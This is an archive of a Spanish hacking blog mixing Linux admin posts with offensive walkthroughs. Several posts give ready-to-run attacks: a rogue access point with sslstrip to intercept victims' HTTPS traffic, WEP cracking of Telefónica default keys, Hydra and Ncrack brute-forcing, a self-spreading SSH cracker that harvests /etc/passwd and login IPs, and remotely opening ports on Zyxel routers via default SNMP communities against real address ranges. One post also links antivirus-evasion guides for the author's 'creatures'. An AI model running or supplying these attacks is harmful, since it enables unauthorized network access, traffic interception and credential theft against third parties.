Mostrando entradas con la etiqueta Seguridad. Mostrar todas las entradas
Mostrando entradas con la etiqueta Seguridad. Mostrar todas las entradas

lunes, diciembre 05, 2011

AP, SSLStrip en Debian

Siempre he tenido ganas de montar un AP en una máquina Linux, pero vamos a ir un poco mas allá y vamos a instalar bind, dhcp3-server y sslstrip para que nuestro AP dé un poco mas de juego.

Mediante Bind podremos resolver nosotros mismos las direcciones ip de nuestros clientes, con el servidor DHCP repartiremos ips y con SSLStrip podremos hacer de intermediarios en las peticiones HTTPS realizando las peticiones HTTPS al servidor final y HTTP a nuestros clientes, de este modo el tráfico solo viajará cifrado desde el AP al servidor final.

Instalamos el software necesario:
apt-get install bind9 dhcp3-server hostapd aircrack-ng

Necesitamos una interfaz en modo monitor(mon0), utilizaremos el direccionamiento 192.168.2.X:
airmon-ng start wlan0
ifconfig mon0 192.168.2.1

Configuramos hostapd con la intefaz de red y el SSID:
vi /etc/hostapd/hostapd.conf
interface=mon0
driver=nl80211
ssid=LA QUE MONTA ESTA
hw_mode=g
channel=1

Arrancamos hostapd con la configuración anterior:
/usr/sbin/hostapd /etc/hostapd/hostapd.conf

Configuramos un servidor DHCP para que los clientes que se conecten a nuestro AP reciban una dirección ip:

vi /etc/dhcp/dhcpd.conf
subnet 192.168.2.0 netmask 255.255.255.0 {
range 192.168.2.2 192.168.2.4;
option domain-name-servers 8.8.8.8;
option routers 192.168.2.1;
}

Habilitamos el enmascaramiento(NAT)
iptables -t nat -A POSTROUTING -s 192.168.2.0/24 -d 0.0.0.0/0 -j MASQUERADE

Y ahora obramos el milagro, las peticiones dirigidas al puerto 80 la enviamos a localhost 10000:
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000

Ahora arrancamos sslstrip, este se mantendrá a la espera de peticiones en el puerto 10000:
cd /usr/src
wget http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.9.tar.gz
tar xvzf sslstrip-0.9.tar.gz
cd sslstrip-0.9
python sslstrip.py -w salida

Dejamos tail monitorizando el fichero de salida de SSLStrip:
tail -f /usr/src/sslstrip-0.9/salida

domingo, diciembre 04, 2011

Preparar wifi para inyección de paquetes.

Seguramente hayáis leído algo acerca de la seguridad en redes wireless, pero también habréis notado que la gran mayoría de estos documentos están pensados para utilizarlos en un sistema con la Backtrack corriendo.
En esta ocasión vamos a preparar nuestro sistema para que sea capaz de inyectar tráfico sin tener que emplear tan conocida distro.

Las piezas necesarias para poder realizar la inyección de paquetes son:
  • Compat-Wireless: Se trata de la pila wireless del kernel, separándola del kernel podremos probar parches que afectan a dicha pila sin tener que parchear el kernel.
  • Kernel: El resto de drivers.
  • AirCrack-NG

Lo primero será instalar AirCrack-NG:
apt-get install aircrack-ng

Compilamos las fuentes del kernel, en nuestro caso vamos a hacerlo para el kernel-3.0.2:
cd /usr/src
wget http://www.kernel.org/pub/linux/kernel/v3.0/linux-3.0.2.tar.bz2

Habilitamos los drivers de nuestra tarjeta de red(en mi caso ath9k):
Device drivers --> Network Device Support --> Wireless lan --> Atheros Wireless Card:
Atheros 802.11n wireless card support
Atheros ath9k PCI/PCIe bus support

También hacen falta los drivers de Intel, solo Dios sabe porque.....:
Device drivers --> Network Device Support --> Wireless lan --> Intel PRO/Wireless 2100 Network Connection

En la versión 3 del kernel ya no hay que hacer nada de forma manual, nos copiará la imagen del kernel a boot y generará una entrada en el grub.

Reiniciamos el equipo con el kernel nuevo y testeamos la inyección con:
airmon-ng start wlan0
aireplay-ng -9 mon0


Podemos ver las redes que se encuentran a nuestro alcance con:
airodump-ng mon0
airodump-ng --channel "CANAL" mon0

Pero en la primera línea aparecerá un problemilla, si nos fijamos el canal en el que se encuentra la tarjeta es el -1:
CH 9 ][ Elapsed: 4 s ][ 2011-11-01 19:32 ][ fixed channel mon0: -1

Cuando intentemos asociarnos al AP y aparece de nuevo el problema del canal:
aireplay-ng -1 0 -e NOMBRE_AP -a MAC_AP -h MI_MAC mon0
19:35:46 Waiting for beacon frame (BSSID: 09:01:CF:3F:DF:59) on channel -1
19:35:46 mon0 is on channel -1, but the AP uses channel 9

Para solventar esto tendremos que bajarnos compat-wireless y los parches pertinentes.
cd /usr/src
wget http://www.orbit-lab.org/kernel/compat-wireless-3.0-stable/v3.0/compat-wireless-3.0-2.tar.bz2
tar -jvxf compat-wireless-3.0-2.tar.bz2
cd compat-wireless-3.0-2
wget http://patches.aircrack-ng.org/mac80211.compat08082009.wl_frag+ack_v1.patch
wget http://patches.aircrack-ng.org/channel-negative-one-maxim.patch
patch -p1 < mac80211.compat08082009.wl_frag+ack_v1.patch
patch -p1 < channel-negative-one-maxim.patch

Se puede optar por compilar todos los drivers o solo los correspondientes a nuestra tarjeta de red, si solo queremos compilar un módulo concreto(este script solo soporta algunas tarjetas, ath9k sí ;) ):
./scripts/driver-select --> Listamos módulos disponibles
./scripts/driver-select ath9k
make
make install
reboot

En el caso de que se quieran compilar todos los drivers:
make
make install
make wlunload
modprobe driver-name
reboot


Si decidimos desinstalar los módulos generados:
cd compat-wireless-...
make uninstall
make wlunload
modprobe "módulo original" o reiniciar

Ahora ya estamos en condiciones de proceder con la inyección de paquetes:
airmon-ng start wlan0
airodump-ng mon0
airodump-ng --channel "CANAL" mon0
aireplay-ng -1 0 -e NOMBRE_AP -a MAC_AP -h MI_MAC mon0
aireplay-ng -3 -b MAC_AP -h MI_MAC mon0 --> Empezamos a inyectar tráfico
airodump-ng --channel CANAL --bssid MAC_AP --write "nombre_fichero" mon0 --> Empezamos a capturar paquetes
aircrack-ng -a 1 "nombre_fichero.cap" --> Crackeamos los paquetes


Seguro que este articulo le es de ayuda a mas de uno, en mi caso tardé un tiempo en recopilar toda la información necesaria.

viernes, octubre 14, 2011

Craking hash MD5 de forma rápida

La única forma conocida de desencriptar un hash MD5 es mediante fuerza bruta, es decir se genera el hash de una palabra conocida y si el hash obtenido coincide con el que se quiere desencriptar es que el password es esta palabra.
Esto es un proceso muy costoso pero en Internet hay dos formas de hacerlo mas facilmente si tenemos un poco de suerte, los dos métodos son los siguientes:
Si tenemos suerte y encontramos el hash de este modo nos ahorraremos muchoooo tiempo quemando micro.

domingo, octubre 09, 2011

Ettercap en Android

Siguiendo con las frikerias en Android vamos a instalar ettercap en nuestra Debian "chrooteada" dentro de nuestro Android.
Instalamos ettercap con soporte gráfico:
apt-get install ettercap-gtk

Habilitamos iptables para el reenvío de tráfico:
vi /etc/etter.conf
# if you use iptables:
redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport
"

Habilitamos el enrutado en el chroot:
echo 1 > /proc/sys/net/ipv4/ip_forward

Para que ettercap funcione bien en el chroot tendremos que ejecutarlo con UID=0
vi /etc/etter.conf
[privs]
#ec_uid = 65534 # nobody is the default
ec_uid = 0 # nobody is the default
ec_gid = 65534 # nobody is the default

Guardamos y listo!! Ya podemos utilizar ettercap como si de un Linux normal se tratase ;)

miércoles, junio 01, 2011

Red-Termite SSH Cracker

Llevo unos cuantos días escribiendo un script que combina Bash y Expect, se trata de una herramienta de craking ssh.
El script intentará conectarse a los servidores ssh especificados en el fichero de configuración LISTA, este debe estar en el formato: "servidor":"usuario":"password", una vez se haya logado ejecutará last -i y cat /etc/passwd, de este modo tendremos un listado de usuarios y las ips desde las que se conectaron a este servidor.
Despues se intentará acceder a estas ips por ssh empleando:
  • Ususario: "nombre_usuario" Password: "nombre_usuario"
  • Ususario: "nombre_usuario" Password: "Listado_usuarios"
  • Ususario: "Listado_usuarios" Password: "Listado_usuarios"
En las dos primeras opciones solo intentará hacer login en las ips desde donde se conectó cada usuario.

El listado de usuarios se genera a partir de los usuarios obtenidos a través de la conexión ssh y de un fichero local llamado USUARIOS_COMUNES_PREDEFINIDOS, he añadido bastantes nombres de diferentes series, peliculas....... pero se pueden añadir los diccionarios que se deseen:
cat "diccionario" >> USUARIOS_COMUNES_PREDEFINIDOS

Este script se sirve de NMap, NCrack y Dos2Unix para realizar sus operaciones, NMap y Dos2Unix se pueden instalar desde los repositorios:
apt-get install nmap tofrodos

Para instalar NCrack deberemos seguir este artículo anterior donde se explico como hacerlo.

El script consta de varios subscripts:
  • Connect.sh: Script desde el que se iniciarán el resto de scripts.
  • Expect_Nmap_SSH.exp: Script que comprueba que el puerto 22 está escuchando en el host destino.
  • Expect_SSH.exp: Script que realiza la conexión por ssh y ejecuta los comandos last -i y cat /etc/passwd.
  • Process.sh: Script que procesa la salida del script anterior.
  • Auto_Crack.sh: Script que lanza NCrack con los usuarios y passwords obtenidos a partir de las conexiones ssh.
El script solo es válido para sistemas que permitan la opción -i en el comando last por ejemplo FreeBSD no lo permite!! No se si en BSD y otros Unix hay equivalente, pero si la hay será fácil realizar las modificaciones pertinentes en el script en Expect(Expect_SSH.exp).

martes, mayo 17, 2011

Ncrack

Hace poco escribí un artículo sobre como crackear logins de acceso mediante Hydra, explicaba que se alcanzaba el máximo número de ficheros abiertos simultaneamente en nuestro sistema y por esta razón había que modificar ciertos parámetros, cual ha sido mi sorpresa cuando esto seguía ocurriendo incluso después de aplicar los cambios.

A raíz de esto me he dispuesto a probar Ncrack. Este programa viene de la mano de los creadores de nmap y cuenta con soporte para los siguientes protocolos:
  • FTP
  • TELNET
  • SSH
  • HTTP/S
  • SMB
  • RDP
  • VNC
  • POP3/S

Se encuentra en fase alpha pero parece funcionar bien ;)

Primero deberemos instalar la librería libssh(no estoy seguro de si este paso es estrictamente necesario):
http://www.libssh.org/files/
tar xvzf libssh...
cd ...
mkdir build
cd build
cmake ..
make
su
make install

Nos bajamos Ncrack lo compilamos y lo instalamos:
wget http://nmap.org/ncrack/dist/ncrack-******.tar.gz
tar xvzf ncrack-******.tar.gz
cd ncrack-******.tar.gz
./configure
make
make install

Un ejemplo de uso:
ncrack -iL HOSTS -p ssh -U USER -P PASS

Donde HOSTS es el listado de ips, ssh el servicio, USER el listado de usuarios y PASS la lista de passwords.
A disfrutar que la vida son dos días!!

sábado, mayo 14, 2011

Crackeador Hydra

THC-Hydra es una herramienta que nos permite crackear cuentas de usuario de varios servicios:
cisco cisco-enable cvs firebird ftp[s] http[s]-{head|get} http[s]-{get|post}-form http-proxy icq irc imap ldap2 ldap3[-{cram|digest}md5] mssql mysql ncp nntp oracle-listener oracle-sid pcnfs pop3 pcanywhere postgres rexec rlogin rsh sip smb smbnt smtp smtp-enum snmp socks5 ssh svn teamspeak telnet vnc vmauthd xmpp

Para que poder crackear cada uno de los servicios debemos tener instaladas las librerias que requiera cada uno de los servicios. En nuestro caso nos vamos a centrar en SSH.

Primero deberemos instalar la librería libssh:
http://www.libssh.org/files/
tar xvzf libssh...
cd ...
mkdir build
cd build
cmake ..
make
su
make install

Ahora ya estamos listos para instalar Hydra(la última versión estable NO compila correctamente a fecha e este artículo):
wget http://freeworld.thc.org/releases/hydra-6.3-src.tar.gz
tar xvzf hydra.....
cd ...
./configure
make
su
make install

Un ejemplo de uso de Hydra podría ser este:
hydra -l "usuario" -P "Fichero_passwords" -M "Fichero_ips" ssh

Hydra abre muchos ficheros simultaneamente en el sistema para realizar el proceso de crackeo de forma paralela, de este modo comprueba de forma simultánea varias cuentas, pero esto puede hacer que se alcance el límite impuesto por el sistema de ficheros abiertos.

Para comprobar cuantos ficheros hay abiertos actualmente es tan fácil como:
lsof | wc -l

Podemos consultar el límite con:
sysctl fs.file-max

Si vemos que se supera editamos el fichero /etc/sysctl.conf y aumentamos el límite del parámetro fs.file-max.
Para aplicar los cambios ejetuamos:
sysctl -p

También es posible que nos esté limitando PAM con sus restricciones, para evitar esto editamos el fichero /etc/security/limits.conf

"usuario" hard nofile "max nº de ficheros"

Con esto ya no creo que haya mayor problema a la hora de crackear ;)

CORRECCIÖN: Sigue apareciendo el error del límite de ficheros abiertos, no se si se debe a que la versión que he compilado es una versión beta :(

jueves, abril 14, 2011

HoneyPot básico

Hola amigos, en esta ocasión vamos a preparar un HoneyPot muy básico, este nos permitirá guardar un registro de los comandos enviados al supuesto servicio vulnerable.

Los primero será tener instalado netcat:
apt-get install netcat

Ahora generamos el Script del HoneyPot (honey.sh):
#!/bin/bash

buff="220 ProFTPD 1.3.3c Server (ProFTPD)"
rm -rf /var/log/honeylog.log 2>/dev/null

for i in $(ps aux|grep honey|grep -v grep|grep -v $$| awk '{print $2}'); do kill -9 $i 2>/dev/null; done

while [ 1 ]; do
echo $buff | netcat -v -l -p 21 >> /var/log/honeylog.log 2>> /var/log/honeylog.log
done


Como se puede observar nos hacemos pasar por el servicio ProFTPD 1.3.3c y los logs son guardados en /var/log/honeylog.log, con un tail -f /var/log/honeylog.log podremos ver los accesos en tiempo real.

Cabe destacar que se puede indicar el banner que se desee haciendose pasar por cualquier otro servicio.

Espero que hayais disfrutado con este articulillo, fácil y rápido, que mas se puede pedir ;)

sábado, abril 02, 2011

Permisos en Linux, la guía definitiva.

Los permisos de directorios y ficheros en el mundo Linux son muy sencillos en un principio pero cuando empezamos a tener en cuenta el sticky bit y otras herramientas como chattr la cosa se complica. Todo administrador debería de tener estos conceptos muy claros ya que si no es así el sistema se convertirá en un queso de gruyere en dos días.
En este manual se va a explicar desde los mas básico a lo mas complejo.

-----------------------------------------------------------

PERMISOS BÁSICOS:
Los permisos de un fichero se dividen en tres trios de permisos, los primeros tres corresponden al propietario del usuario, los siguientes tres al grupo al que pertenece y los otros tres a otros.

Un ejemplo en el que el fichero .profile pertenece al usuario root y al grupo root, el propietario tiene permisos de lectura y escritura, el grupo de lectura y los otros de lectura.
-rw-r--r-- 1 root root 140 nov 19 2007 .profile

Para asignar permisos a los ficheros lo mas fácil es aprenderse la correspondencia:
R: 4 --> Lectura
W: 2 --> Escritura
X: 1 --> Ejecución

Por lo tanto si queremos asignar permisos de RW para el propietario, WX para el grupo y R para otros se haría del siguiente modo: chmod 634 "fichero".

Para poder hacer un cd se necesitan permisos de ejecución en el direcotrio.
Para acceder a un subdirectorio que nos pertenece pero cuelga de otro, se necesitan permisos de ejecución en el direcotrio intermedio para poder pasar a través de él.

Si se otorgan permisos de lectura sin ejecución y se hace un ls -la del directorio:
usuario@debian:/$ ls -la aaa/
ls: no se puede acceder a aaa/.: Permiso denegado
ls: no se puede acceder a aaa/..: Permiso denegado
ls: no se puede acceder a aaa/ff.sh: Permiso denegado
total 0
d????????? ? ? ? ? ? .
d????????? ? ? ? ? ? ..
-????????? ? ? ? ? ? ff.sh

-----------------------------------------------------------

UMASK:
Se trata de los permisos por defecto que adoptarán los ficheros y directorios cuando se creen. Para definir el valor de umask hay que pensar "a la inversa: wildcard", con un ejemplo se verá claro: umask 007 equivaldría a chmod 770.

También hay que tener en cuenta que los ficheros se generarán con los permisos indicados en umask pero eliminando el permiso de ejecución. Si asigno un umask de 522 se crearían con los siguientes permisos:
- Directorios: 255
- Ficheros: 244

Otro aspecto a tener en cuenta es que el valor de umask va ligado al usuario, para poder definir un umask de forma global debemos editar el fichero: /etc/profile y si queremos hacerlo en un solo usuario: ~/.bashrc, hasta que el usuario no salga y vuelva logarse no se hará efectivo.

-----------------------------------------------------------

STICKY BIT:

Podremos saber si el sticky bit está activado mirando los permisos de ejecución. Para el propietario y el grupo se representa con una s y para otros con una t, si el bit de ejecución ya estaba habilitado aparecerá la s o la t en minúsculas, en caso contrario en mayúsculas.
- Ejemplo en el que NO está habilitado el permiso de ejecución y sí el Sticky bit: rSr-Sr-T.
- Ejemplo en el que SI está habilitado el permiso de ejecución y sí el Sticky bit: rwsr-sr-t.

Este bit se comportará de un modo u otro según esté definido en un directorio o un fichero.

Fichero:
4000 --> Si es ejcutable se ejecutará con los permisos del propoietario
2000 --> Si es ejecutable se ejecutará con los permisos del grupos
1000 --> Se empleaba para que el SO mantuviese el fichero en SWAP, actualmente es ignorado

Directorio:
4000 --> No se utiliza para nada
2000 --> Los ficheros o directorios generados pertenecerán al grupo al que pertenece el directorio actual.
1000 --> Los fichero o directorios solo pueden ser renombrados o borrados por el propietario del elemento, el propietario del directorio o el usuario root, aunque el resto de usuarios tenga permisos de escritura.
NOTA:Pero si que pueden ser editados si se tienen los permisos adecuados.

Para eliminar el sticky bit no basta con ejecutar 0799 por ejemplo, hay que hacerlo con:
- chmod -s
- chmod -t

-----------------------------------------------------------

CHATTR:

NOTA:
- Las opciones c, s y u no están implementadas de forma nativa en ext2 y ext3
- La opción j solo funciona sobre ext3
- La opción D requiere un kernel >= 2.5.19


+A --> No se actualiza la hora de acceso al fichero, pero sí la de modificación.
+a --> Solo se puede añadir al fichero, solo ROOT puede asignar este parámetro.
+c --> Comprime de forma transparente el fichero
+D --> Si se aplica a un directorio los cambios realizados en él son escritos al momento en el disco duro.
+d --> Este fichero será ignorado por el programa dump (Backups)
E --> Indica que hay un problema de compresión con el fichero, no se puede modificar, solo se puede ver con lsattr
e --> Indica que se emplean "extents" para saber las posiciones del disco que contienen la información del fichero, no se debe modificar.
I --> Indica que el directorio es indexado empleando hashed tree, no tocar
h --> Indica que el tamaño del fichero se entrega en bloques no en sectores, no tocar.
+i --> No puede ser borrado, renombrado o vinculado mediante un link.
+j --> La información del fichero es escrita primero al journal si la partición está montada con las opciones "data=ordered" or "data=writeback".
+s --> Cuando se borre este fichero se sobreescribe se escriben ceros ;)
+S --> La información se escribe al momento en el disco.
+T --> Si se deshabilita el algoritmo de distribución de datos en el disco (Orlov) intentará meter los datos lo mas juntos posible entre ellos.
+t --> Deshabilita el "tail-merging" (aprovechar huecos de otros ficheros para meter información de este fichero) del fichero, opción necasaria para LILO (acceso directo el disco).
+u --> Permite el "undelete" del fichero
X --> Indica que el contenido de un fichero comprimido puede ser accedido en "raw", no se puede cambiar
Z --> Indica que el contenido de un fichero comprimido está "dirty", no se puede cambiar

Podemos ver los atributos de un fichero con el el comando lsattr.

Para comprobar opciones como +A se puede emplear la herramienta stat.
stat "fichero": Muestra información sobre el acceso a los ficheros.

Espero que le saqueis jugo al artículo ya que en mi opinión está muy completito ;)

domingo, septiembre 19, 2010

Crackear wifis Timofónica en 2 minutos

Es sabido por todos que los routers ADSL de Telefónica vienen configurados con un ESSID determinado, por lo tanto es muy fácil localizar este tipo de redes.

Según el modelo del router la password de la red inalámbrica será una u otra, las passwords siguen un patrón común si no se cambia la que viene configurada por defecto:

Password: RaízXXXXYY

Según el modelo tienen una "raíz de contraseña"
Z-com -> Z001349
Zyxel -> Z001349
P-660HW-D1 -> Z001349
Xavy -> X000138
Comtrend -> C0030DA
Zygate -> Z0002CF o C0030DA

Por la MAC del AP se puede saber el fabricante.

Las dos últimas cifras YY son los dos últimos carácteres del ESSID --> WLAN_YY

Como veis solo faltan cuatro caracteres mas y tendremos la password completa.

El ataque que vamos a realizar de esos caracteres será por fuerza bruta, para ello vamos a emplear una herramienta llamada wlandecrypter.

También nos será necesario el software weplab y la suite aircrack-ng
apt-get install weplab aircrack-ng

Ahora que ya lo tenemos todo instalado comenzamos el proceso:

airmon-ng start wlan0 --> Pone en modo monitor la subinterfaz mon0
airodump-ng mon0 --> Miramos a ver que se ve por mon0
airodump-ng --write "captura_wlan" --channel "CANAL" --bssid "BSSID" mon0 --> Capturamos el tráfico de la Wifi que nos interesa.

Cuando tengamos 4 o mas paquetes en el campo data podemos parar la captura presionando Ctrl+C

Ahora es el momento de usar wlandecrypter.
wlandecrypter "BSSID" "ESSID" | weplab --key 128 -y --bssid "BSSID" captura_wlan.cap

Esto debería de sacarnos la password en ASCII y en Hexadecimal:
Right KEY found!!
Passphrase was --> C0030DAA46F05
Key: 43:30:30:33:30:44:41:41:34:36:46:30:35

En este caso se puede ver que se trata de un Comtrend:C0030 y el ESSID es WLAN_05: 05 por fuerza bruta hemos sacado los caracteres DAA46.

NOTA: Cambiad la password por defecto!!!

jueves, septiembre 16, 2010

SNMP por defecto Prestige P-660HW-D1, P-660R-D1

Hola amigos, en esta ocasión traigo material de primera ;), se trata de como modificar reglas de filtrado en los routers Zyxel Prestige P-660HW-D1, P-660R-D1 por SNMP.

Estos equipos vienen configurados con una community por defecto tanto para lectura como para escritura, de esta forma se puede llegar a configurar el dispositivo por SNMP de forma remota.

Para empezar vamos a bajarnos y compilar la herramienta braa, se trata de un scanner SNMP.

wget http://s-tech.elsat.net.pl/braa/braa-0.82.tar.gz
tar xvzf braa-0.82.tar.gz

Si tenemos un sistema Linux basta con "make"
make
cp braa /usr/bin

Ahora que ya tenemos braa en nuestro sistema, pedimos un OID a un rango de direcciones, este OID es para pedir el nombre del sistema a los equipos de Zyxel(cada fabricante emplea su propia MIB).

braa public@88.18.11.1-88.18.11.254:161:.1.3.6.1.2.1.1.1.0

Ahora solo falta seleccionar a la victima.

Comprobamos que los puertos estan cerrados:
nmap -p 80,21,23 88.22.xyz.100

Starting Nmap 4.53 ( http://insecure.org ) at 2009-06-22 19:12 CEST
Interesting ports on 100.Red-88-22-xyz.staticIP.rima-tde.net (88.22.xyz.100):
PORT STATE SERVICE
21/tcp filtered ftp
23/tcp filtered telnet
80/tcp filtered http

Ahora los abrimos.

Para los modelos P-660HW-D1:
braa -v -t 5 -p 200 public@88.22.xyz.100:.1.3.6.1.4.1.890.1.2.1.5.2.1.8.10.4=i81 --> Abrimos el puerto 80

braa -v -t 5 -p 200 public@88.22.xyz.100:.1.3.6.1.4.1.890.1.2.1.5.2.1.8.10.5=i22 --> Abrimos el puerto 21

braa -v -t 5 -p 200 public@88.22.xyz.100:.1.3.6.1.4.1.890.1.2.1.5.2.1.8.10.5=i24 --> Abrimos el puerto 23

Se puede deducir que sigue la lógica de puerto+1, queremos abrir el puerto 80 --> i"puerto+1" --> i80+1 --> i81

Comprobamos que realmente estan abiertos:
nmap -p 80,21,23 88.22.xyz.100

Starting Nmap 4.53 ( http://insecure.org ) at 2009-06-22 19:09 CEST
Interesting ports on 100.Red-88-22-xyz.staticIP.rima-tde.net (88.22.xyz.100):
PORT STATE SERVICE
21/tcp open ftp
23/tcp open telnet
80/tcp open http

Para dejarlo como antes:
braa -v -t 5 -p 200 public@88.22.xyz.100:.1.3.6.1.4.1.890.1.2.1.5.2.1.8.10.4=i80

braa -v -t 5 -p 200 public@88.22.xyz.100:.1.3.6.1.4.1.890.1.2.1.5.2.1.8.10.5=i21

braa -v -t 5 -p 200 public@88.22.xyz.100:.1.3.6.1.4.1.890.1.2.1.5.2.1.8.10.5=i23

Comprobamos que vuelven a estar cerrados.

nmap -p 80,21,23 88.22.xyz.100

Starting Nmap 4.53 ( http://insecure.org ) at 2009-06-22 19:12 CEST
Interesting ports on 100.Red-88-22-xyz.staticIP.rima-tde.net (88.22.xyz.100):
PORT STATE SERVICE
21/tcp filtered ftp
23/tcp filtered telnet
80/tcp filtered http

Ya veis parece increible pero puedo dar fe de que funciona ;)

En el modelo P-660R-D1

braa -v -t 5 -p 200 public@88.22.xyz.244:.1.3.6.1.4.1.890.1.2.1.5.2.1.8.10.4=i81
braa -v -t 5 -p 200 public@88.22.xyz.244:.1.3.6.1.4.1.890.1.2.1.5.2.1.8.10.5=i22
braa -v -t 5 -p 200 public@88.22.xyz.244:.1.3.6.1.4.1.890.1.2.1.5.2.1.8.10.6=i24

braa -v -t 5 -p 200 public@88.22.xyz.244:.1.3.6.1.4.1.890.1.2.1.5.2.1.8.10.4=i80
braa -v -t 5 -p 200 public@88.22.xyz.244:.1.3.6.1.4.1.890.1.2.1.5.2.1.8.10.5=i21
braa -v -t 5 -p 200 public@88.22.xyz.244:.1.3.6.1.4.1.890.1.2.1.5.2.1.8.10.6=i23

Para remediar toda esta historia habrá que configurar SNMP con alguna community menos conocida, jejeje

La gente no suele cambiar la password por defecto de los routers caseros ya que deshabilitan el acceso en la interfaz WAN, pero de este modo BANG!! estamos dentro.

lunes, agosto 23, 2010

Ocultar password en scripts Bash

Ya que me he puesto con el tema de scripting voy a comentar un truquillo que seguro que le va a gustar a mas de uno.
Se trata de como deshabilitar el echo de nuestro terminal para poder introducir passwords sin que aparezcan en pantalla.

Es tan sencillo como:
#!/bin/bash
stty_save=$(stty -g) ---> Guardamos el estado de nuestro terminal
stty -echo --> Deshabilitamos el echo
echo Introduzca Password:
read secret
stty $stty_save --> Reestaablecemos la configuración inicial
echo Password introducido:
echo $secret

viernes, mayo 07, 2010

Escaner fácil y rápido

AutoScan una herramienta realmente interesante para echar un vistazo rápido de nuestra red y sus inquilinos.
Podemos hacer un escaneo de los servicios mas comunes, por supuesto podemos configurar este software para escanee los puertos que a nosotros nos interesen.

Cabe la posibilidad de indicarle scripts para poder ejecutarlos sobre los hosts descubiertos, la verdad es que esta herramienta no aporta nada innovador, pero es muy visual. Me recordó un poco a LanGuard.

Para instalarla basta con dirigirse a la web del proyecto.
Descomprimimos el software:
tar xvzf AutoScan-Network-Linux-1.50.bin.tar.gz

Lo instalamos:
sh AutoScan-Network-Linux-1.50.sh

La configuración es muy sencilla, se le indica nuestra red y la interfaz empleada.

viernes, abril 30, 2010

Claves públicas SSH

Hoy voy a explicar como autenticarse mediante el uso de claves públicas de SSH, esto nos permitirá conectarnos a nuestro servidor sin tener que teclear nuestra password.

Modificamos el fichero de configuración del servidor:

vi /etc/ssh/sshd_config
Protocol 2
RSAAuthentication yes
AuthorizedKeysFile .ssh/authorized_keys

Cada usuario puede generar las claves o lo puede hacer el administrador del servidor:
ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/home/"usuario"/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again: --> Si se deja en blanco luego será comodisimo
Your identification has been saved in /home/"usuario"/.ssh/id_rsa.
Your public key has been saved in /home/"usuario"/.ssh/id_rsa.pub.
The key fingerprint is:
11:fr:60:f8:a9:42:87:d6:38:c0:a7:22:64:8b:94:cd "usuario"@"host"
The key's randomart image is:
+--[ RSA 2048]----+
| ..o . ... |
| . O o -. |
| .+* o +.+ |
|oo+E. . ... |
|.= .+. S |
|. . |
| |
| |
| |
+-----------------+

/home/"usuario"/.ssh/id_rsa --> Clave privada: Cuidadin
/home/"usuario"/.ssh/id_rsa.pub --> Clave pública

Hacemos llegar nuestra clave pública al servidor SSH:
ssh-copy-id "usuario"@"servidor" --> Pedirá la passphrase y luego la password de "usuario"

Si en el servidor vamos a tener mas usuarios, generamos las claves y cuando nos pregunte:
Enter file in which to save the key (/home/"usuario"/.ssh/id_rsa)
Vamos dandole nombres distintos como id_rsa2,3,4......

Subimos cada una de las claves públicas:
ssh-copy-id "usuario"@"servidor" --> Pedirá la passphrase y luego la password de "usuario"

Aseguramos el servidor:
PasswordAuthentication no
PermitRootLogin no

/etc/init.d/ssh restart

Ya lo tenemos, ahora conectamos con nuestro usuario y por arte de magia accedemos sin necesidad de password ;)

ssh -i .ssh/id_rsa"N" "usuarioN"@"servidor"

viernes, enero 15, 2010

Detectando intrusiones

Seguro que alguna vez ha ocurrido algo extraño en el sistema, ralentización sin justificación, algún fichero que no estais seguros de haber generado vosotros......
Para estos casos existe la herramienta whowatch, esta nos permite observar a los usuarios logados en nuestro equipo en ese momento y seguir el rastro de forma muy cómoda de los procesos que tiene arrancados cada usuario. Estos procesos son mostrados en forma de arbol muy visual ;)

Como siempre para instalar whowatch basta con:
apt-get install whowatch

Probadlo y ya me contareis.

sábado, enero 09, 2010

Saltarse el antivirus por la patilla.

Buenas fieles lectores, en esta ocasión voy a dejar dos manuales que haran las delicias de mas de uno, son dos tutoriales de como emplear varias herramientas para localizar las firmas que buscan los antivirus y luego moverlas de sitio para que nuestras criaturas sean indetectables.
  1. Primero
  2. Segundo
Mucho cuidado al usar AVFuck ya que consume muchísimo espacio en disco, de todos modos con AVFuck a veces he tenido problemas, yo personalmente prefiero emplear ZeroSignature aunque sea un proceso mas pesado.

Y sobretodo no hagais el mal que os conozco!!! jejejejeje

martes, enero 05, 2010

Bonito enlace con el que acojonar a la peña

En esta imagen podemos observar como se lanza un exploit contra nuestra ip pública y como adquieren privilegios de root en nuestro sistema, jajajaja!!!!!!!!
Seguro que mas de uno no sabe seguro si es real o un montaje.

jueves, diciembre 17, 2009

Sacando password red WPA soltando la pasta.

Si sois usuarios de portátil quizás no os haga gracia el tener el equipo mucho tiempo encendido, pero hay ciertas tareas que requieren invertir tiempo de CPU para llevarlas a cabo.
El crackeo de una clave WPA puede ser una de estas tareas, ahora por un módico precio podemos evitar el chamuscar nuestra CPU.
Se trata de un cluster de varios equipos los cuales suman un total de 400 microprocesdores, todo ello combinado con un super diccionario de 135 millones de palabras. Se puede optar por alquilar el cluster por 34 dolares o solo la mitad de equipos por 17.
Como ya sabemos esto no nos garantiza que la clave esté incluida dentro de este diccionario con lo que cabe la posibilidad de pagar para nada ;(
En fin me pareció interesante comentarlo aquí aunque creo que sería mejor alquilar el cluster por tiempo y poder elegir si se quiere romper la clave por diccionario o por fuerza bruta, jejejeje, o al menos poder elegir los diccionarios a emplear, por temáticas o por idiomas.

Además ofrecen otro servicio de crackeo de zips protegidos por password.

Casi se me olvida, la página es esta.
Hasta la próxima amigos.

sábado, octubre 31, 2009

Compilación de Xprobe2

Xprobe2 es un programita al estilo Ph0f pero este vez se averigua el sistema operativo remoto de forma activa, pero no es tan sencillo como parece.
Para que las fuentes compilen hay que hacer algunas modificaciones en el código fuente.

Podemos bajarnos las fuentes desde aquí.

Editamos los ficheros siguientes:

1 - vi libs-external/USI++/src/ip.cc

Después de la línea 15: #include "config.h"

Añadir:


Salvar y salir.

2 - vi libs-external/USI++/src/misc.cc

Después de la línea 2: #include "usi++/usi-structs.h"

Añadir:


Salvar y salir.

3 - vi libs-external/USI++/usi++/tcp.h

Después de la línea 17: #include "ip.h"

Añadir:


Salvar y salir.


Ahora tan solo queda compilar las fuente:

make clean
./configure
make
make install

